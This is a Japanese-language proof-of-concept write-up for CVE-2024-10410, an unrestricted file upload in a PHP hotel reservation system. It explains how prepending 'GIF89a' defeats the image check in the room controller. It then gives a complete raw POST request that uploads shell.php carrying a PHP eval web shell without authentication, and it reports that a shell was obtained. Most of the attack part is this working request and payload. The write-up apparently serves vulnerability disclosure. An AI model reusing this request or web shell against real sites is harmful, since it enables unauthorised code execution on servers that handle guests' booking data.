
CVE-2024-10410 の PoC エクスプロイト: オンラインホテル予約システムにおける無制限のファイルアップロード。GIF ヘッダーインジェクションによる画像検証の回避を実証し、リモートコード実行を達成します。
PHP/MySQLiによるオンラインホテル予約システム(ソースコード付き) | SourceCodester
Online Hotel Reservation System に高リスクの脆弱性が発見されました。影響を受けるのは /marimar/admin/mod_room/controller.php ファイルのアップロード機能です。画像パラメータのバイパス検出処理により、無制限のファイルアップロードが可能になります。攻撃はリモートから実行可能です。
marimar\admin\mod_room\controller.php

ファイルアップロード後、$image_name 変数によってファイル名が現在の年月日に変更され、さらに _ とアップロードされたファイル名が付加されます。
脆弱性は $image_size 変数にあります。この変数は画像ファイルかどうかをチェックし、そうでなければアップロードを無効化します。そのため、悪意のあるファイルの先頭に画像のヘッダーを追加するだけで検出をバイパスできます。
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
悪意のあるコードの先頭に、GIF89a を gif として偽装して付加しています。アップロードパケットを構築すると、クッキーが削除されていることが確認できます。これはシステムに認証がなく、リモートから攻撃を実行できることを示しています。

警告は出ましたが、ファイルは正常にアップロードされ、ファイル名は現在時刻(2024/10/25 21:55)に基づいて推測されました。


シェル取得に成功